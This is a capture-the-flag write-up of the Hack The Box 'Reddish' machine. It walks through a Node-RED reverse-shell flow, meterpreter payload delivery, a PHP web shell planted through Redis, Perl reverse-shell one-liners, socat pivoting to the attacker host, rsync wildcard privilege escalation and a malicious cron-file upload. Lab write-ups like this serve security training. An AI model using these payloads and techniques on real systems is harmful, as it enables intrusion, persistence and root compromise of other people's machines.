Writeup: Hack The Box — Reddish
Description
- Name:
reddish
- IP:
10.10.1094
- Author:
yuntao
- Difficulty:
8.1/10
Discovery
nmap -sV -sC -Pn -p- --min-rate 1000 --max-rate 5 10.10.10.94
PORT STATE SERVICE VERSION
1880/tcp open http Node.js Express framework
|_http-title: Error
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.70%E=4%D=12/24%OT=1880%CT=1%CU=36670%PV=Y%DS=2%DC=T%G=Y%TM=5C20
OS:FC3A%P=x86_64-unknown-linux-gnu)SEQ(SP=FE%GCD=1%ISR=109%TI=Z%II=I%TS=8)S
OS:EQ(SP=FE%GCD=1%ISR=109%TI=Z%CI=I%II=I%TS=8)OPS(O1=M54BST11NW7%O2=M54BST1
OS:1NW7%O3=M54BNNT11NW7%O4=M54BST11NW7%O5=M54BST11NW7%O6=M54BST11)WIN(W1=71
OS:20%W2=7120%W3=7120%W4=7120%W5=7120%W6=7120)ECN(R=Y%DF=Y%T=3F%W=7210%O=M5
OS:4BNNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=3F%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4
OS:(R=Y%DF=Y%T=3F%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%
OS:F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%
OS:T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%R
OS:ID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)
From gobuster
:
http://10.10.10.94:1880/icons (Status: 301)
http://10.10.10.94:1880/red (Status: 301)
http://10.10.10.94:1880/red/images (Status: 301)
http://10.10.10.94:1880/red/about (Status: 200)
http://10.10.10.94:1880/vendor (Status: 301)
From nikto
:
---------------------------------------------------------------------------
+ Target IP: 10.10.10.94
+ Target Hostname: 10.10.10.94
+ Target Port: 1880
+ Start Time: 2018-12-11 09:30:05 (GMT1)
---------------------------------------------------------------------------
+ Server: No banner retrieved
+ Retrieved x-powered-by header: Express
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Server leaks inodes via ETags, header found with file /favicon.ico, fields: 0xW/423e 0x1632cb8ed78
+ Allowed HTTP Methods: POST
+ 7500 requests: 0 error(s) and 5 item(s) reported on remote host
+ End Time: 2018-12-11 09:36:07 (GMT1) (362 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
Pwn
The target web-server on port 1880 is not configured to use GET (Nikto listed only _POST_ method):

With a POST request the server responds with an id and path key (the id is different from each reboot):
http POST http://10.10.10.94:1880
HTTP/1.1 200 OK
Connection: keep-alive
Content-Length: 86
Content-Type: application/json; charset=utf-8
Date: Sun, 16 Dec 2018 15:10:35 GMT
ETag: W/"56-joAMhror+1d2+Z6Z553A/FFSJ7I"
X-Powered-By: Express
{
"id": "a482df6bbb192aea703be2169b2f931a",
"ip": "::ffff:10.10.15.44",
"path": "/red/{id}"
}
Following this URL a node-red application is presented to the user. Node-RED is a programming tool for wiring together hardware devices, APIs and on-line services using drag-and-drop.

Since the tool allows creating TCP sockets and connections it's possible to instantiate a reverse shell using a pre-configured JSON config.
[
{ "id": "7235b2e6.4cdb9c", "type": "tab", "label": "Flow 1" },
{
"id": "d03f1ac0.886c28",
"type": "tcp out",
"z": "7235b2e6.4cdb9c",
"host": "",
"port": "",
"beserver": "reply",
"base64": false,
"end": false,
"name": "",
"x": 786,
"y": 350,
"wires": []
},
{
"id": "c14a4b00.271d28",
"type": "tcp in",
"z": "7235b2e6.4cdb9c",
"name": "",
"server": "client",
"host": "10.10.XX.XX",
"port": "3488",
"datamode": "stream",
"datatype": "buffer",
"newline": "",
"topic": "",
"base64": false,
"x": 281,
"y": 337,
"wires": [["4750d7cd.3c6e88"]]
},
{
"id": "4750d7cd.3c6e88",
"type": "exec",
"z": "7235b2e6.4cdb9c",
"command": "",
"addpay": true,
"append": "",
"useSpawn": "false",
"timer": "",
"oldrc": false,
"name": "",
"x": 517,
"y": 362.5,
"wires": [["d03f1ac0.886c28"], ["d03f1ac0.886c28"], ["d03f1ac0.886c28"]]
}
]
Open a listener with nc -lvp 3488
; import the JSON with the menu on the right and then “import”, “Clipboard” and click “Deploy”. A shell should pop up:


To upgrade the reverse shell to a meterpreter session:
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=tun0 LPORT=3487 -f elf -o dodo.exemsfconsole -x "use exploit/multi/handler; set payload linux/x64/meterpreter/reverse_tcp; set LHOST $(ip addr show tun0 | grep -Po "inet \K[\d.]+"); set LPORT 3487; run -j"base64 -w0 dodo.exe
On the target machine drop the meterpreter ELF:
echo -n <base64fromabove> | base64 -d > dodo.exe; chmod +x ./dodo.exe; ./dodo.exe

The exploited machine is a container without any useful information except for the list of network interfaces and subnets.
meterpreter > ipconfig
Interface 1
============
Name : lo
Hardware MAC : 00:00:00:00:00:00
MTU : 65536
Flags : UP,LOOPBACK
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
Interface 7
============
Name : eth0
Hardware MAC : 02:42:ac:12:00:02
MTU : 1500
Flags : UP,BROADCAST,MULTICAST
IPv4 Address : 172.18.0.2
IPv4 Netmask : 255.255.0.0
Interface 17
============
Name : eth1
Hardware MAC : 02:42:ac:13:00:04
MTU : 1500
Flags : UP,BROADCAST,MULTICAST
IPv4 Address : 172.19.0.4
IPv4 Netmask : 255.255.0.0
To confirm that the session is inside a container: run post/linux/gather/checkcontainer
.
To start pivoting on both networks the routes should be added using run post/multi/manage/autoroute
. First of all a port scan is useful to discover and scan all other machines in the subnet.

This phase requires a lot of time so run -j
can be used to make this activity asynchronous. After a while the port scan returns:
[+] 172.19.0.2: - 172.19.0.2:80 - TCP OPEN
[+] 172.19.0.3: - 172.19.0.3:6379 - TCP OPEN
[+] 172.19.0.4: - 172.19.0.4:1880 - TCP OPEN (this is the current container)
autoroute
is not enough to access these containers, a port forwarding is required:
portfwd add -l 6379 -r 172.19.0.3 -p 6379
portfwd add -l 8080 -r 172.19.0.2 -p 80
Now the Redis and the Apache server can be accessed on localhost. A scan on those ports returns some detailed information:
PORT STATE SERVICE VERSION
8080/tcp open http Apache httpd 2.4.10 ((Debian))
PORT STATE SERVICE VERSION
6379/tcp open redis Redis key-value store 4.0.9
Redis server can be queried on localhost via redis-cli
(shipped with the default Redis installation).
The default Apache welcome page is improved with some JavaScript code to push visitor's hits on the Redis DB.
$(document).ready(function() {
incrCounter();
getData();
});
function getData() {
$.ajax({
url: "8924d0549008565c554f8128cd11fda4/ajax.php?test=get hits",
cache: false,
dataType: "text",
success: function(data) {
console.log("Number of hits:", data);
},
error: function() {}
});
}
function incrCounter() {
$.ajax({
url: "8924d0549008565c554f8128cd11fda4/ajax.php?test=incr hits",
cache: false,
dataType: "text",
success: function(data) {
console.log("HITS incremented:", data);
},
error: function() {}
});
}
/*
* TODO
*
* 1. Share the web folder with the database container (Done)
* 2. Add here the code to backup databases in /f187a0ec71ce99642e4f0afbd441a68b folder
* ...Still don't know how to complete it...
*/
function backupDatabase() {
$.ajax({
url: "8924d0549008565c554f8128cd11fda4/ajax.php?backup=...",
cache: false,
dataType: "text",
success: function(data) {
console.log("Database saved:", data);
},
error: function() {}
});
}
Since the back-end is using PHP to collect hits data it should be clear that Redis should be exploited to create a RCE.
redis-cli
can be used to upload a web shell since Redis can be exploited to run commands: https://dl.packetstormsecurity.net/1511-exploits/redis-exec.txt
echo "CONFIG SET dir /var/www/html" | redis-cli
echo "CONFIG SET dbfilename dosh.php" | redis-cli
echo "SET PAYLOAD \"<?php system(\$_GET['cmd']); ?>\"" | redis-cli
echo "BGSAVE" | redis-cli
Now the web-shell is usable from http://localhost:8080/dosh.php?cmd=id; since PHP is installed should be possible to create another meterpreter session from the Apache container.

The garbage on the output is due to the Redis DB file format.
The container with Apache (and the one with Redis) are not allowed to connect back to the attacker machine but only to the first container (Node-RED), so the attacker needs to pivot all traffic through this machine.
Metasploit offers the possibility to run a SOCKS proxy (both v4 and v5); this proxy can be used with proxychains to access the subnet from the meterpreter session. For example is possible to run Nmap from another terminal using proxychains nmap -sP 172.19.0.*
(to get a list of online IPs).

After some trial and error the best way to create a reverse shell is to use socat as proxy on the Node-RED container to forward all the traffic from Apache container to the attacker machine; however the socat binary is not present on the victim machine but it's possible to upload it via meterpreter from https://github.com/andrew-d/static-binaries.
./socat tcp4-listen:3455,reuseaddr,fork tcp4:10.10.XX.XX:8456
This command spawns a listener on port 3455; the traffic coming from this port is forwarded to the remote attacker host on port 8456 (the attacker is listening using nc -lvp 8456
). To execute a reverse shell on the remote Apache machine a simple command to connect back is not enough since the connection is killed after the command execution.
To create a "persistent" connection the attacker should create a multi-stage shell: drop the command/script on the remote machine and then execute it.
The user running Apache is www-data
and can write files only in the /var/www/html/f187a0ec71ce99642e1f0afbd441a68b
folder; the attacker should drop the reverse shell script in this folder, add the execution permission bit and then run it.
To automate the shell upload is possible to use proxychains
to execute a simple script:
echo "FLUSHALL" | redis-cli -h 172.19.0.3
echo "CONFIG SET dir /var/www/html" | redis-cli -h 172.19.0.3
echo "CONFIG SET dbfilename dosh.php" | redis-cli -h 172.19.0.3
echo "SET PAYLOAD \"<?php echo shell_exec(\$_GET['cmd']); ?>\"" | redis-cli -h 172.19.0.3
echo "BGSAVE" | redis-cli -h 172.19.0.3
# Create a revere shell connector in Perl
pshell=$(echo "perl -e 'use Socket;\$i=\"172.19.0.4\";\$p=3455;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in(\$p,inet_aton(\$i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");};'" | base64 -w0)
# Upload, add +x and execute the remote shell
# HTTPie automatically url-encode the parameters if using "=="
http GET "http://172.19.0.2/dosh.php" "cmd==echo -n ${pshell} | base64 -d > ./f187a0ec71ce99642e4f0afbd441a68b/dodo.pl; chmod +x ./f187a0ec71ce99642e4f0afbd441a68b/dodo.pl; ./f187a0ec71ce99642e4f0afbd441a68b/dodo.pl" | cat --
Now a shell is popped:

Heading to /home
folder to search for the first flag:

The user.txt
file is not readable from www-data
but it is possible to find a way to privesc to root
. In cron
folders there is a backup
entry that execute, as root
, /backup/backup.sh
every 3 minutes:

*/3 * * * * root sh /backup/backup.sh
The backup script is using rsync
to restore the content of /var/www/html
folder (this script destroys the uploaded shell but not the running process):
cd /var/www/html/f187a0ec71ce99642e4f0afbd441a68b
rsync -a *.rdb rsync://backup:873/src/rdb/
cd / && rm -rf /var/www/html/*
rsync -a rsync://backup:873/src/backup/ /var/www/html/
chown www-data. /var/www/html/f187a0ec71ce99642e4f0afbd441a68b
rsync
can be exploited to execute arbitrary command if used with the wildcard *
(similar to the tar
privesc):
echo "cp /bin/bash /tmp/dodosh" > test.rdb
echo "chmod +x /tmp/dodosh" >> test.rdb
echo "chmod +s /tmp/dodosh" >> test.rdb
echo "" > "-e sh test.rdb"
These commands create a file called test.rdb
(to match the wildcard) that will copy the Bash binary to /tmp
; add the execution bit and then make the ELF SUID. This script should create a SUID runnable shell owned by root.

After a while the bash
binary is copied in /tmp
and can be used to run a session for root
(./dodosh -p
):


The Apache container has two interfaces:
ip addr show
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
7: eth0@if8: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default
link/ether 02:42:ac:13:00:02 brd ff:ff:ff:ff:ff:ff
inet 172.19.0.2/16 brd 172.19.255.255 scope global eth0
valid_lft forever preferred_lft forever
9: eth1@if10: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default
link/ether 02:42:ac:14:00:02 brd ff:ff:ff:ff:ff:ff
inet 172.20.0.2/16 brd 172.20.255.255 scope global eth1
valid_lft forever preferred_lft forever
The subnet 172.19.0.2
is the one used to communicate with the Redis server; the subnet 172.20.2
is used by the backup script rsync
from backup
host: 172.20.0.3
(port 873, default port).
On the Apache container there is no root.txt
so the system flag should be in the last container backup
. Using rsync
is possible to download the filesystem of the remote host:
rsync -a --progress --max-size='5k' --min-size="1k" rsync://backup:873/src/ .
To filter only the system flag the command allows to set a minimum and maximum size for the transferred files.

On the remote host there is no system flag but using rsync
is possible to get a shell and then start an in-depth analysis of the backup container.
Using rsync
an attacker can upload arbitrary files on the remote host so creating a simple cron file it's possible to get a reverse shell:
On the Apache container:
echo '* * * * * root perl -e '"'"'use Socket;$i="172.20.0.2";$p=3455;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'"'"'' > dorev
This command execute a connection to the Apache host via the "backup" subnet. To get a reverse shell the attacker also need the Ncat ELF that can be imported using the base64 encoding (same as the meterpreter ELF).
echo 'f0VMRgIBAQAAAAAAAAAAAAIAPgABAAAAkilAAAAAAABAAAAAAAAAAHh0LAAAAAAAAAAAAEAAOAAD' > ncat.b64
echo 'AEAAEAAPAAEAAAAFAAAAAAAAAAAAAAAAAEAAAAAAAAAAQAAAAAAA1DcrAAAAAADUNysAAAAAAAAA' >> ncat.b64
echo 'IAAAAAAAAQAAAAYAAADYNysAAAAAANg3iwAAAAAA2DeLAAAAAAAYPAEAAAAAABCwAQAAAAAAAAAg' >> ncat.b64
echo 'AAAAAABR5XRkBwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAA' >> ncat.b64
[..]

rsync -a --progress ./dorev rsync://backup:873/src/etc/cron.d/dorev
Once the connection is triggered from backup
the shell is spawned but, again, no system flag.

Analysing the filesystem and the location of device files in /dev
is possible to see that many volumes are available to be mounted:

Mounting /dev/sda1
on /mnt
the system flag is readable:

